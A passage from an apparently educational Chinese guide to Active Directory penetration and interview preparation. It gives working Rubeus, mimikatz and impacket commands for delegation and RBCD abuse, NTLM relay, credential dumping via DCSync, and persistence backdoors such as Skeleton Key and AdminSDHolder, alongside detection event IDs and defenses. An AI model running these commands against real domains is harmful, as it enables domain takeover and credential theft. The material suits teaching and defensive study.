# 另一个窗口，用域内任意身份触发打印机漏洞
.\SpoolSample.exe dc01.corp.com web01.corp.com
# dc01 会尝试用机器账户(DC$)访问 web01 的打印机
# Rubeus monitor 会捕获到 DC$ 的 TGT → Base64

# 方法 2：手动诱导
# 在域控上（社工/其他漏洞）执行
net use \\web01.corp.com\IPC$

# 导出票据（在 WEB 上）
mimikatz# sekurlsa::tickets /export

# 找到域管的 TGT（看文件名中的用户名）
# [0;xxxxx]-2-0-60a10000-Administrator@krbtgt-CORP.COM.kirbi

# 导入票据并利用
mimikatz# kerberos::ptt [0;xxxxx]-2-0-60a10000-Administrator@krbtgt-CORP.COM.kirbi
mimikatz# lsadump::dcsync /domain:corp.com /user:krbtgt

10.3 约束委派攻击

原理：
  S4U2Self：服务 A 可代表任意用户向 KDC 请求访问【自己】的 ST
  S4U2Proxy：服务 A 可用已有 ST 代表用户请求访问【其他服务】的 ST

  如果攻击者控制了服务 A 的凭据 → 通过 S4U2Self 以 Administrator 身份
  获取访问服务 A 自身的 ST → 然后用 S4U2Proxy 将 ST 转为访问 DC 的 CIFS/LDAP ST
  → 访问 DC → DCSync

利用前提：
  - 已知配置了约束委派的服务账户的 Hash/密码
  - 该服务在 msDS-AllowedToDelegateTo 中配置了目标服务

枚举

# PowerView — 用户
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto

# PowerView — 计算机
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Impacket
$ impacket-findDelegation corp.com/user:pass -dc-ip 10.0.0.10

攻击流程

# 场景：已知 WEB$ 机器账户的 Hash，WEB$ 配置了到 DC 的 CIFS 约束委派

# 步骤 1：使用机器账户 Hash 执行 S4U 攻击
$ python3 getST.py -dc-ip 10.0.0.10 \
    -spn CIFS/dc01.corp.com \
    -impersonate administrator \
    corp.com/WEB\$ -hashes :<WEB$的NTLM_Hash>

# 输出：administrator.ccache（针对 CIFS/dc01.corp.com 的 ST）

# 步骤 2：导入票据
$ export KRB5CCNAME=administrator.ccache

# 步骤 3：利用票据
$ python3 wmiexec.py -k -no-pass corp.com/administrator@dc01.corp.com
$ python3 secretsdump.py -k -no-pass corp.com/administrator@dc01.corp.com

# Windows 方式（使用 Rubeus）
.\Rubeus.exe s4u /domain:corp.com /impersonateuser:Administrator \
    /msdsspn:"cifs/dc01.corp.com" \
    /user:WEB$ /rc4:<WEB$的NTLM_Hash> /ptt

服务账户也用相同方式

# 如果是域用户账户（如 svc_iis）而非机器账户
# 首先申请该用户的 TGT
.\Rubeus.exe asktgt /domain:corp.com /user:svc_iis /password:Pass123! /ptt

# 然后执行 S4U
.\Rubeus.exe s4u /domain:corp.com /impersonateuser:Administrator \
    /msdsspn:"cifs/dc01.corp.com" /altservice:ldap \
    /user:svc_iis /ticket:<TGT的Base64> /nowrap

10.4 基于资源约束委派（RBCD）

原理：
  与"约束委派"相反，RBCD 是目标机器（被访问方）来指定"谁可以委派到我这里"
  通过修改目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性
  添加攻击者控制的机器账户 SID → 攻击者用该机器账户执行 S4U2 模拟域管

核心优势：
  ✅ 不需要域管权限！每个域用户默认可以创建最多 10 个机器账户
  ✅ 如果对目标机器有 GenericWrite/GenericAll 权限即可修改其 RBCD 属性
  ✅ 支持跨域/跨林

谁有权限修改目标机器的 RBCD 属性？

将该计算机加入域的域用户 → 通过 mS-DS-CreatorSID 属性回溯
Account Operators 组成员 → 可修改除 DC 外的所有机器
对目标机器有 GenericWrite/GenericAll/WriteProperty 的用户
目标机器自身

完整攻击流程

# === 场景：普通域用户，对 WEB.corp.com 有 GenericWrite ===

# 步骤 1：创建机器账户（Windows 用 Powermad）
# 在已控 Windows 上
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount rogue -Password $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force)

# 步骤 2：获取刚创建的机器账户的 SID
Import-Module .\PowerView.ps1
Get-DomainComputer rogue -Properties objectsid
# SID: S-1-5-21-xxxx-xxxx-xxxx-1148

# 步骤 3：配置目标机器的 RBCD
# Windows 方式
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-xxxx-xxxx-xxxx-1148)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# Linux 方式
$ impacket-rbcd corp.com/user:pass -dc-ip 10.0.0.10 -action write -delegate-to 'WEB$' -delegate-from 'rogue$'

# 步骤 4：通过 S4U 获取 Administrator 访问 WEB 的 ST
$ python3 getST.py -dc-ip 10.0.0.10 corp.com/rogue\$:'Passw0rd!' -spn cifs/WEB.corp.com -impersonate administrator

# 步骤 5：使用票据访问
$ export KRB5CCNAME=administrator.ccache
$ python3 wmiexec.py -k -no-pass corp.com/administrator@WEB.corp.com

# 步骤 6（可选）：如果目标就是 DC，用 LDAP ST → DCSync 提权到全域
$ python3 getST.py -dc-ip 10.0.0.10 corp.com/rogue\$:'Passw0rd!' -spn ldap/dc01.corp.com -impersonate administrator
$ export KRB5CCNAME=administrator.ccache
$ python3 secretsdump.py -k -no-pass corp.com/administrator@dc01.corp.com

RBCD 高级手法

# 手法 1：RBCD + NTLM Relay 自动化
# 如果域控的 LDAP 签名关闭 → NTLM Relay 自动配置 RBCD
$ python3 ntlmrelayx.py -t ldap://dc01.corp.com --delegate-access --escalate-user rogue$
# 然后用 PrinterBug 强制域控发起认证 → relay 到 LDAP → 自动配置 RBCD

# 手法 2：RBCD 打造变种黄金票据（终极持久化）
# 在域控上配置 krbtgt 的 RBCD（需要 DA 权限先）
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount rogue$
# 之后无论 krbtgt 密码怎么改，攻击者都能通过 rogue$ 的 RBCD → S4U → 域管
$ python3 getST.py corp.com/rogue\$:'pass' -spn krbtgt -impersonate administrator
# 这个就是 "变种黄金票据"

域控权限维持

11.1 技术对比

技术	隐蔽度	持久度	影响	失效条件
黄金票据	中（有日志）	极高	全域任意权限	krbtgt 连续改两次
白银票据	高（无 DC 日志）	中	特定服务	目标账户密码轮换
DCSync 后门	高	极高	随时导出 Hash	ACL 被审计清除
Skeleton Key	低（重启失效）	低	万能密码	重启 / 被检测
AdminSDHolder	中	极高	60 分钟自动扩散	被审计清除
RBCD krbtgt	高	极高	全域任意权限	krbtgt RBCD 被清除

11.2 各技术具体操作

DCSync 后门

# 给普通用户添加 DCSync 权限
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=com" -PrincipalIdentity backdoor_user -Rights DCSync -Verbose

# 或 Linux
$ dacledit.py -action write -rights DCSync -principal backdoor_user -target 'DC=corp,DC=com' corp.com/admin:pass

# 后门用户随时获取全域 Hash
mimikatz# lsadump::dcsync /domain:corp.com /all /csv

Skeleton Key（万能密码）

# 在域控上注入（需 DA 权限）
mimikatz# privilege::debug
mimikatz# misc::skeleton

# 效果：此后，域内所有用户都可以用密码 "mimikatz" 登录
# 默认注入的 Hash: 60BA4FCADC466C7A033C178194C03DF6
# 可以在 Windows 登录界面输入 → 密码 "mimikatz"
# 持久化前需配合植入启动脚本 → 因为 DC 重启后失效

# 检测：Get-Process | Where-Object {$_.Modules.FileName -like "*mimikatz*"}

AdminSDHolder 后门

原理：
  AdminSDHolder 是 AD 中的保护容器
  SDProp 进程每 60 分钟将 AdminSDHolder 的 ACL 覆盖到所有受保护组
  受保护组包括：Domain Admins, Enterprise Admins, Administrators, Schema Admins 等
  
  如果修改 AdminSDHolder 容器的 ACL，给它添加一个 ACE → 60 分钟内
  这个 ACE 会自动扩散到所有受保护组 → 后门会自动传播

操作：
  # 给 AdminSDHolder 添加后门用户 FullControl
  Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=com" \
      -PrincipalIdentity backdoor_user -Rights All -Verbose

  # 手动触发 SDProp（可选，默认等 60 分钟）
  Invoke-SDPropagator

检测与防御

12.1 攻击对应的 Windows 事件 ID

攻击	关键事件 ID	检测方法
Golden Ticket	4769（无 4768）	4769 出现但之前无 4768；加密类型为 0x17 (RC4) 而非 AES
Silver Ticket	4624（目标服务器）	4624 的 Domain 字段为空；域控无对应票据发放记录
DCSync	4662	对象属性访问，关注 `DS-Replication-Get-Changes-All` 的 GUID
PTH	4624 LogonType=3	4624 登录类型为 3（网络），认证包为 NTLM
Kerberoasting	4769 大量	同一用户短时间内大量 4769 事件
AS-REP Roasting	4768（返回码 0x6）	4768 事件返回 `KRB5KDC_ERR_PREAUTH_REQUIRED` 后仍有 TGT 请求
PsExec	7045 + 4697	新服务的创建（7045）
ACL 修改	5136	目录服务对象修改，关注敏感组的 ACL 变化
LSASS 访问	4663	LSASS.exe 被非 SYSTEM 进程访问

12.2 事件 ID 详解

4624 — 成功登录

关键字段：
  LogonType:
    2  = 交互式登录（本地控制台）
    3  = 网络登录（SMB/WMI/WinRM 远程）
    9  = NewCredentials（RunAs / 提权）
    10 = 远程交互式登录（RDP）
    7  = 解锁

  AuthenticationPackageName:
    "NTLM"  → PTH 攻击的特征
    "Kerberos" → 正常域认证

检测 PTH：LogonType=3 + AuthenticationPackage=NTLM + 来自异常源 IP
检测 Silver Ticket：LogonType=3 + AuthenticationPackage=Kerberos + Domain 为空

4768 — TGT 请求

正常情况：用户登录 / 访问域资源 → 申请 TGT → 4768
异常情况：4769（ST 请求）但之前没有对应 4768 → 可能黄金票据

如果大量 4768 被拒绝（返回 0x6 / 0x12 / 0x18）→ 可能是暴力破解或 AS-REP Roasting

4769 — ST 请求

关键字段：
  ServiceName：请求的服务（如 krbtgt, cifs, ldap）
  TicketEncryptionType：
    0x17 (RC4) → 可能是 PTH / Golden Ticket（正常应该 AES）
    0x12 (AES256) → 正常

检测 Golden Ticket：
  TicketEncryptionType=0x17 + 之前的 4768 缺失 + ServiceName=krbtgt

4662 — 目录服务对象访问（DCSync 检测关键）

检测 DCSync：
  4662 事件 + Properties 包含以下 GUID 之一：
    1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes)
    1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All)
  + 发起者不是正经的 DC

12.3 完整防御矩阵

攻击类型	防御措施	优先级
Golden Ticket	定期改 krbtgt 密码（连续两次）；监控 4769 异常	🔴 高
Silver Ticket	开启 PAC 验证 → `ValidateKdcPacSignature = 1`	🟡 中
PTH	KB2871997；Credential Guard；LAPS 本地管理员随机化	🔴 高
NTLM Relay	强制 SMB 签名；LDAP 签名+通道绑定；EPA	🔴 高
DCSync	严格控制域复制权限；监控 4662 事件	🔴 高
Kerberoasting	服务账户密码 ≥25 字符；使用 gMSA；审计 SPN 列表	🟡 中
AS-REP Roasting	禁止关闭预认证；强密码策略	🟡 中
ACL 滥用	定期审计 ACL；BloodHound 做攻击路径分析	🟡 中
非约束委派	全面迁移至约束委派或 RBCD；敏感账户标记”不可委派”	🟡 中
通用	EDR + SIEM + 网络分段 + 最小权限 + 定期渗透测试	🔴 高

15 个认知误区

以下误区来自真实的面试翻车现场和技术群讨论。每一条都代表一批初学者的共同盲点。

误区 1：AS 就是 AD？

错。AS（Authentication Service）是 Kerberos 的认证组件，运行在域控制器（DC）上。AD（Active Directory）是目录服务数据库。两者的关系：

AD（目录数据库）→ 运行在 DC（域控服务器）上
DC 上运行的服务：
  ├── AS（认证服务）→ Kerberos 组件
  └── TGS（票据授予服务）→ Kerberos 组件

正确说法：AS 是 Kerberos 协议的认证组件，由域控制器提供。AS ≠ AD，AD 是数据库，AS 是服务。

误区 2：TGT 里保存了所有服务的 Hash？

大错特错。这是最常⻅的误解。TGT 里保存的是用户身份信息（用户名、SID、组信息、PAC、有效期），不包含任何一个服务的 Hash。

那为什么黄金票据能访问所有服务？因为 TGS（运行在 DC 上）自己拥有 NTDS.dit（AD 数据库）的访问权限，NTDS.dit 里存了所有账户的 Hash。TGS 收到 TGT 后：

用 krbtgt Hash 解密 TGT → 确认你是谁
去 NTDS.dit 查目标服务的 Hash
用目标服务的 Hash 生成 Service Ticket

所以不是 TGT 保存了所有 Hash，是 TGS 能查到所有 Hash。

误区 3：所有票据都是用 NTLM Hash + AES 加密的？

错。分两点纠正：

第一：不是”Hash + AES”，而是用 Hash 作为密钥，选择一种加密算法。RC4 用 NTLM Hash 当密钥，AES 用 AES Key 当密钥——这两个 Key 是不同的，虽然都从密码派生。

第二：NTLM Hash 只能直接用做 RC4 加密（0x17）。如果域禁用了 RC4 只允许 AES，光有 NTLM Hash 是伪造不了票据的——需要独立获取 AES Key。

密码 → NTLM Hash = MD4(密码)         → RC4 加密用（0x17）
密码 → AES Key  = PBKDF2(密码)      → AES 加密用（0x11/0x12）

两者是不同的密钥！

误区 4：黄金票据”控制了”TGS？

错。黄金票据没有控制任何东西，它做的是欺骗。

攻击者有了 krbtgt Hash → 伪造一个 TGT → TGS 用自己的 krbtgt Hash 解密成功 → 以为这个 TGT 是真的 AS 签发的 → 照常发 Service Ticket。

攻击者没有控制 TGS，只是骗过了 TGS 的验证机制。这是身份伪造，不是服务控制。

误区 5：白银票据不能提权？

错。白银票据本身权限有限（只针对一个服务），但可以作为提权链的一环。

经典例子：LDAP 白银票据 → DCSync 提权：

伪造 DC 的 LDAP 服务票据
通过 LDAP 修改 AD 对象 ACL
给自己添加 DCSync 权限
secretsdump.py 导出全域 Hash（含 krbtgt）
黄金票据 → 完全控制

一张 LDAP 白银票据 → 最终拿到了域管。这就是提权链。

误区 6：打了 KB2871997 后 PTH 就完全不能用了？

错。补丁限制了但没完全封死：

✅ RID=500 的内置 Administrator 仍然可以 PTH（微软故意保留的例外）
✅ 域管组成员仍然可以 PTH 到域控
✅ 本地管理员可以 PTH 到本机

所以不是”PTH 死了”，而是”PTH 收窄了”。RID 500 Administrator 是永远的跳板。

误区 7：krbtgt 是个普通用户，可以登录？

错。krbtgt 是 AD 内置的系统服务账户：

禁用登录
密码系统自动生成（极其复杂，128+ 字符）
唯一用途：Kerberos 票据签发/验证
RID = 502
不能删除、不能改名

误区 8：Kerberos 和 NTLM 是二选一的关系？

错。两者共存。Windows 域环境中默认两种协议都支持，根据场景自动选择：

场景	使用的协议
域内主机访问域内资源	Kerberos（首选）
用 IP 地址访问而非主机名	NTLM（Kerberos 需要 SPN，IP 不行）
工作组环境	NTLM（没有 KDC）
跨林/外部信任（某些配置）	NTLM（Kerberos 跨域引用失败时回退）

PTH 走的是 NTLM；PTT 走的是 Kerberos。两者不冲突。

误区 9：DCSync 需要在域控上执行？

错。DCSync 最危险的地方恰恰是不需要在域控上执行任何代码。它调用的是 MS-DRSR 协议（目录复制服务远程协议），从任意有权限的机器远程向域控请求数据。

需要的是权限（DA 或 DS-Replication-Get-Changes-All），不是位置。

这也是为什么 DCSync 检测难——域控看到的就是一次正常的域复制请求。

误区 10：NTLM Hash 和 Net-NTLM Hash 是同一个东西？

错。这是面试中最容易翻车的概念混淆：

	NTLM Hash	Net-NTLM Hash
别称	NT Hash, NTHASH	NTLM Response, Net-NTLMv2
算法	`MD4(Unicode(密码))`	`HMAC-MD5(Challenge + Blob, NTLMv2_Hash)`
存储位置	SAM / NTDS.dit / LSASS	仅在网络传输中存在
攻击用法	Pass-the-Hash	NTLM Relay / 离线爆破
是否是静态值	✅ 静态（密码不变就永远不变）	❌ 动态（每次 Challenge 不同）

一句话：NTLM Hash 是”钥匙”，Net-NTLM Hash 是”钥匙+锁芯的配合结果”。PTH 用前者，Relay 用后者。

误区 11：Kerberoasting 需要高权限？

错。Kerberoasting 只需要任意域用户权限（包括最普通的 Domain Users）。任何域用户都可以为注册了 SPN 的服务请求 Service Ticket——这是正常功能，不是漏洞。

“漏洞”在于：Service Ticket 的加密部分可以被离线暴力破解。防御手段是让服务账户的密码足够长（≥25 字符），让爆破成本不可接受。

误区 12：PAC 是可有可无的？

错。PAC（Privilege Attribute Certificate）包含用户的组 SID 和权限信息，服务端凭 PAC 决定是否授权。

黄金票据 → 经过 TGS → TGS 会对 PAC 重新签名 → PAC 合法
白银票据 → 不经过 KDC → PAC 没有 KDC 签名 → 可能被拦截

如果目标服务开启了 PAC 验证（ValidateKdcPacSignature = 1），白银票据会失败。Windows 默认不开启（性能原因），但安全加固后通常会开。

误区 13：域控只有 445 和 3389 两个端口？

错。域控最少开放了 10 个以上端口，每个都有渗透用途：

端口	协议	渗透用途
88	Kerberos	AS-REQ/TGS-REQ 票据攻击
389	LDAP	AD 枚举、ACL 滥用
445	SMB	PTH（PsExec/WMIExec）
135	RPC	横向移动（WMI/DCOM）
5985	WinRM	PowerShell Remoting
3268	全局编录	跨域 AD 查询

误区 14：拿到 DA 权限就是终点？

错。在大型渗透项目中拿到 DA 只是第一步。真正的考验：

如何持久化（黄金票据 / DCSync 后门 / AdminSDHolder）
如何跨域/跨林扩展
如何清理痕迹
如何导出数据不触发 DLP

DA = 拿到了钥匙，但能不能守住并扩大，是区分初级和高级的关键。

误区 15：工具能搞定一切，不需要理解原理？

大错特错。面试官问”黄金票据原理”时，回答”用 mimikatz 的 kerberos::golden 命令”会被直接淘汰。面试官要听的是：

Kerberos 三阶段认证流程
TGT 用什么加密（krbtgt 密钥）
为什么拿到 krbtgt Hash 就能伪造 TGT
为什么能绕过 AS
为什么全能访问（TGS 有 NTDS.dit 访问权）

原理是子弹，工具是枪。光会扣扳机不够，面试官要考的是你知道子弹怎么造的。

面试回答

下面这些话术是针对最高频面试题的可直接使用的回答。

话术 1：讲讲 Kerberos 认证流程

“Kerberos 认证分为三个阶段。
第一阶段是认证——Client 用自己的身份凭据向 AS（Authentication Service，认证服务）发起请求，AS 验证通过后返回 TGT（Ticket Granting Ticket，票据授予票据）。TGT 使用的是 krbtgt 账户的密钥加密的，所以 Client 无法解密。
第二阶段是授权——Client 拿到 TGT 后，向 TGS（Ticket Granting Service，票据授予服务）请求访问某个具体服务的 Service Ticket（服务票据）。TGS 用 krbtgt 密钥解密 TGT 验证有效性，然后生成对应服务的 Service Ticket，用目标服务账户的密钥加密后返回。
第三阶段是服务访问——Client 带着 Service Ticket 去访问目标服务，目标服务用自己的密钥解密验证后提供资源。
AS 和 TGS 合称 KDC（Key Distribution Center），运行在域控上，端口是 88。”

话术 2：黄金票据是什么？原理？

“黄金票据（Golden Ticket）是攻击者在获取 krbtgt 账户的 Kerberos 密钥（NTLM Hash 或 AES Key）后，离线伪造的 TGT 票据。
原理是：Kerberos 中所有 TGT 都由 AS 使用 krbtgt 的密钥加密，TGS 也使用同一把密钥解密来验证 TGT 的真实性。攻击者有了 krbtgt 密钥，就等于有了’公章’——他可以自己加密生成一个声称自己是任意用户（比如 Administrator）的 TGT，TGS 解密后无法分辨真假。
攻击链路是：伪造 TGT → 跳过 AS → 直接找 TGS 申请 Service Ticket → 拿到 Service Ticket → 访问任意服务。本质上是通过 krbtgt 密钥实现了对 TGS 的身份欺骗。
使用前提是必须有 krbtgt 的密钥，这意味着必须先取得域控权限或 DCSync 权限。”

话术 3：白银票据是什么？原理？

“白银票据（Silver Ticket）是攻击者在获取目标服务账户的 Kerberos 密钥后，离线伪造的 Service Ticket。
原理是：Kerberos 第三阶段中，目标服务用自己的密钥解密 Service Ticket 来验证。如果攻击者拿到了目标服务账户的密钥（比如某台机器的机器账户 Hash），就可以自己加密生成一个宣称自己是任意用户的 Service Ticket。目标服务解密后验证通过，直接提供服务。
和黄金票据最大的不同是：白银票据全程不与 KDC 通信，域控上不会有任何日志，非常隐蔽。但权限仅限于这一个服务——比如用 CIFS 服务密钥伪造的票据只能访问文件共享，不能做别的。
经典的提权链路是：LDAP 白银票据 → 修改 AD 对象 ACL → 给自己加 DCSync 权限 → 导出全域 Hash → 黄金票据。”

话术 4：黄金和白银票据的完整对比？

“从六个维度对比：
第一，伪造对象：黄金票据伪造 TGT（票据授予票据），白银票据伪造 Service Ticket（服务票据）。
第二，使用的密钥：黄金票据用 krbtgt 账户的密钥，白银票据用目标服务账户（通常是机器账户）的密钥。
第三，攻击前提：黄金票据要求先拿下域控（获取 krbtgt Hash），门槛高；白银票据只需拿下一台机器获取它的机器账户 Hash，门槛低。
第四，权限范围：黄金票据可以访问域内任意服务的任意资源，白银票据只能使用被伪造的那一个服务。
第五，是否经过 KDC：黄金票据仍需要与 TGS 交互来申请 Service Ticket，域控会有 4769 日志；白银票据直接与目标服务通信，不经过 KDC，域控无日志。
第六，PAC 签名：黄金票据经过 TGS 时 PAC 会被重新签名，是合法的；白银票据的 PAC 没有 KDC 签名，开启 PAC 验证的机器可能拦截。
总结一句话：黄金票据骗 TGS，白银票据骗 Server，黄金通全域但留痕迹，白银是单点突破但更隐蔽。”

话术 5：PTH（哈希传递）的原理和局限性？

“Pass-the-Hash 利用的是 NTLM 协议的认证机制。NTLM 认证的核心公式是 Response = HMAC-MD5(NTLM_Hash, Challenge)，计算过程从头到尾不需要明文密码，只需要 NTLM Hash。因此攻击者拿到 NTLM Hash，就等于拿到了该用户在网络认证中的’钥匙’。
局限性方面，Windows 打了 KB2871997 补丁后，普通域用户不能通过 PTH 远程访问其他主机，但有两种例外：一是 RID=500 的内置 Administrator 账户仍然可以 PTH，二是域管组成员可以 PTH 到域控。所以 PTH 没有被完全封死，只是使用门槛提高了。
另外 PTH 走的是 NTLM 协议（SMB 445 端口），如果目标强制 Kerberos 认证或关闭了 SMB，PTH 就会失败。这时可以用 Over-Pass-the-Hash——用 NTLM Hash 去向 KDC 申请 TGT，然后走 Kerberos 认证。”

话术 6：DCSync 的原理？为什么危险？

“DCSync 本质是模拟域控制器之间的数据复制行为。域控之间通过 MS-DRSR 协议同步 AD 数据，其中包含用户的密码 Hash。攻击者如果拥有域复制权限（Domain Admins 或显式授予的 DS-Replication-Get-Changes-All 权限），就可以调用这个协议，从真实域控远程拉取任意用户的 Hash。
它的危险性体现在三个方面：第一，不需要在域控上执行任何代码，从攻击者自己的机器远程完成，规避了域控本地的安全软件；第二，产生的是正常的域复制流量，域控上只会有 4662 日志，在大量日常复制中很难被注意到；第三，一次 DCSync 可以导出全域所有用户的 Hash，包括 krbtgt，意味着拿到 DCSync = 拿到了黄金票据的原料 = 整个域彻底沦陷。”

话术 7：krbtgt 账户到底是什么？

“krbtgt 是 AD 域中内置的系统服务账户，RID 为 502。它不用于用户登录（默认禁用登录），唯一的作用是为 Kerberos 票据体系提供加密密钥——AS 用 krbtgt 的密钥加密所有 TGT，TGS 用同一把密钥解密验证。可以理解为 Kerberos 的’根密钥’或’总公章’。
从渗透角度看，krbtgt 是域内最有价值的攻击目标之一。拿到 krbtgt Hash = 可以伪造任意 TGT = 黄金票据 = 永久后门。而且 krbtgt 的密码极其复杂且从不登录，几乎不可能通过常规方式直接获取，必须通过 DCSync 或直接在域控上抓取。”

话术 8：NTLM Hash 和 Net-NTLM Hash 的区别？

“这是面试中最容易混淆的问题。
NTLM Hash 是用户密码的静态哈希值，算法是 MD4(Unicode(密码))，存储在 SAM 文件或 NTDS.dit 中，是一个固定值——密码不改它就永远不变。攻击中使用 NTLM Hash 做的是 Pass-the-Hash。
Net-NTLM Hash 是网络认证过程中动态生成的凭证，算法是用 NTLM Hash 对服务器发出的 Challenge 做 HMAC-MD5 计算。它只存在于网络传输中，每次认证都不同，因为每次的 Challenge 是随机的。攻击中使用 Net-NTLM Hash 做的是 NTLM Relay 或离线爆破。
一句话区分：NTLM Hash 是钥匙本身；Net-NTLM Hash 是钥匙和锁芯配合后的结果。”

面试题库与参考答案

以下 50 题覆盖 Windows 域渗透面试 90% 以上的考点。按难度分三级。

基础概念（★☆☆）

Q1：什么是域？和工作组的区别？

参考答案：域是将多台计算机集中管理、统一认证的逻辑分组，由域控制器（DC）集中管理。工作组是每台机器独立管理账户，域则通过 AD 数据库实现单点登录。核心区别：工作组分散管理，本地 SAM 认证；域集中管理，DC 统一认证。

Q2：AD 是什么？存储在哪里？

参考答案：Active Directory 是 Windows 域中的目录服务，以层次化方式存储域内对象（用户、计算机、组、GPO 等）。数据库文件是 ntds.dit，存放在域控的 C:\Windows\NTDS\ 目录下，包含所有对象的属性和密码 Hash。

Q3：SID 是什么？域 SID 和用户 SID 的关系？

参考答案：SID（安全标识符）是 Windows 安全模型的核心，格式 S-1-5-21-<域标识>-<RID>。域 SID 去掉末尾 RID 就是域的 SID；RID=500 是 Administrator，RID=502 是 krbtgt。攻击中生成黄金/白银票据需要用域 SID 而非用户 SID。

Q4：Kerberos 认证的三个阶段分别是什么？使用的端口？

参考答案：第一阶段 AS_REQ/AS_REP（认证，获得 TGT），第二阶段 TGS_REQ/TGS_REP（授权，获得 ST），第三阶段 AP_REQ/AP_REP（服务访问）。KDC 端口 TCP/UDP 88。额外端口 TCP/UDP 464 用于密码更改。

Q5：krbtgt 账户是什么？

参考答案：krbtgt 是域控上用于 Kerberos 核心功能的特殊账户，其密码由系统生成且默认禁用。它的 NTLM Hash 用于加密所有用户的 TGT 票据。渗透中获取 krbtgt Hash 是最终目标之一，因为它可用于伪造任意用户的 TGT（黄金票据）。

Q6：KDC 是什么？包含哪些组件？

参考答案：KDC（Key Distribution Center）是 Kerberos 密钥分发中心，运行在域控上，包含两个服务：AS（Authentication Server，身份验证，发 TGT）和 TGS（Ticket Granting Service，服务授权，发 ST）。AS+TGS=KDC。

Q7：域控开放哪些关键端口？

参考答案：53 (DNS)、88 (Kerberos)、135 (RPC)、139 (NetBIOS)、389 (LDAP)、445 (SMB)、464 (Kerberos 密码更改)、636 (LDAPS)、3268 (全局编录)、3269 (全局编录 SSL)、5985/5986 (WinRM)、9389 (AD WS)。

Q8：域信任有几种类型？

参考答案：常见类型包括父子域信任（自动双向可传递）、树根信任（同林自动）、外部信任（不同林、不可传递）、林信任（不同林、可传递）、快捷信任（加速跨域引用）、领域信任（与非 Windows Kerberos 领域）。

凭证与认证（★★☆）

Q9：NTLM Hash 和 Net-NTLM Hash 的本质区别是什么？

参考答案：这是面试高频题。NTLM Hash = MD4(密码)，是静态的密码哈希，存储在 SAM/NTDS.dit 中，用于 PTH（哈希传递）。Net-NTLM Hash = NTLM Hash 对服务器 Challenge 的 HMAC-MD5 计算结果，是网络传输中的动态凭证，用于 NTLM Relay 攻击和离线爆破。一句话：NTLM Hash 是”钥匙”，Net-NTLM Hash 是”钥匙+锁芯的结果”。

Q10：Pass-the-Hash 为什么能成功？原理是什么？

参考答案：NTLM 认证协议的关键公式是 Response = F(NTLM_Hash, Challenge)，计算过程从头到尾不需要明文密码。协议本身不区分”你在用密码计算”还是”你直接用 Hash 计算”。所以持有 NTLM Hash = 拥有该用户的身份凭证。这不是漏洞，是 NTLM 协议的设计特性。

Q11：KB2871997 补丁对 PTH 的影响是什么？例外情况？

参考答案：打补丁后，普通域用户不能通过 PTH 远程访问其他主机。但 RID=500 的内置 Administrator 账户是例外，仍然可以 PTH。这就是为什么域控上 Administrator（RID 500）被认为是”永远的后门”。

Q12：DCSync 的原理？需要什么权限？

参考答案：DCSync 是模拟域控之间的复制行为（MS-DRSR 协议），向真实域控请求用户数据（含 Hash），远程导出全域 Hash 的技术。不需要在域控上执行代码。所需权限：Domain Admins / Enterprise Admins / Administrators 组成员，或被显式授予 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限。

Q13：Kerberoasting 的原理？条件？

参考答案：原理是任何域用户都可以为注册了 SPN 的服务请求 ST（TGS-REP），ST 的加密部分使用服务账户的 NTLM Hash 加密，可导出后离线暴力破解。条件：有域账号 + 目标服务注册了 SPN。defense：服务账户密码长度 ≥ 25 字符，使用 gMSA。

Q14：AS-REP Roasting 和 Kerberoasting 的区别？

参考答案：AS-REP Roasting 攻击禁用了预认证的用户，不需要域账号，攻击 AS-REP 阶段，破解的是用户密码（hashcat 18200）。Kerberoasting 攻击有 SPN 的服务账户，需要域账号，攻击 TGS-REP 阶段，破解的是服务账户密码（hashcat 13100）。前者少见（依赖特殊配置），后者常见（任意有 SPN 的服务都可攻击）。

Q15：PTH、PTK、PTT 三条横向技术的区别和使用场景？

参考答案：PTH 用 NTLM Hash，认证协议支持 NTLM+Kerberos，最通用；PTK 用 AES Key，仅支持 Kerberos，适用于目标禁用 NTLM 的场景；PTT 直接用 Kerberos 票据文件，不走 AS/TGS 认证，适用于已有票据的场景。KB2871997 后若无 RID 500 账户，优先使用 PTK 或 PTT。

Q16：Lsass.exe 是什么？为什么是攻防关键进程？

参考答案：Local Security Authority Subsystem Service，Windows 安全子系统核心进程，负责本地安全策略、用户登录认证，内存中缓存了用户的明文密码（WDigest）、NTLM Hash、Kerberos 票据等。Mimikatz 的核心技术就是注入 LSASS 读取内存中的凭证。Win8.1 起 WDigest 默认不缓存明文密码。

黄金/白银票据（★★★）

Q17：黄金票据的原理？

参考答案：TGT 用 krbtgt NTLM Hash 加密，拿到 krbtgt Hash 就能伪造 TGT，跳过 AS 认证阶段，向 TGS 宣称自己是任意用户（如 Administrator）。TGS 用 krbtgt Hash 解密后信以为真，发放 ST → 访问任意服务。

Q18：黄金票据的四个必要条件？

参考答案：① 域名 ② 域 SID ③ krbtgt 的 NTLM Hash ④ 要伪造的用户名。其中 ③ 是核心门槛→ 必须拿下域控（或 DCSync）才能获取。

Q19：白银票据的原理？

参考答案：ST 用目标服务账户的 NTLM Hash 加密，攻击者拿到目标机器账户 Hash 后自己加密 ST，直接发给目标服务。目标服务用自己的 Hash 解密→ 验证通过 → 提供服务。全程不与 KDC 交互，域控上无日志。

Q20：黄金票据 vs 白银票据，从攻防角度做完整对比？

参考答案：
伪造对象：黄金→TGT；白银→ST
加密密钥：黄金→krbtgt Hash；白银→目标服务（机器账户）Hash
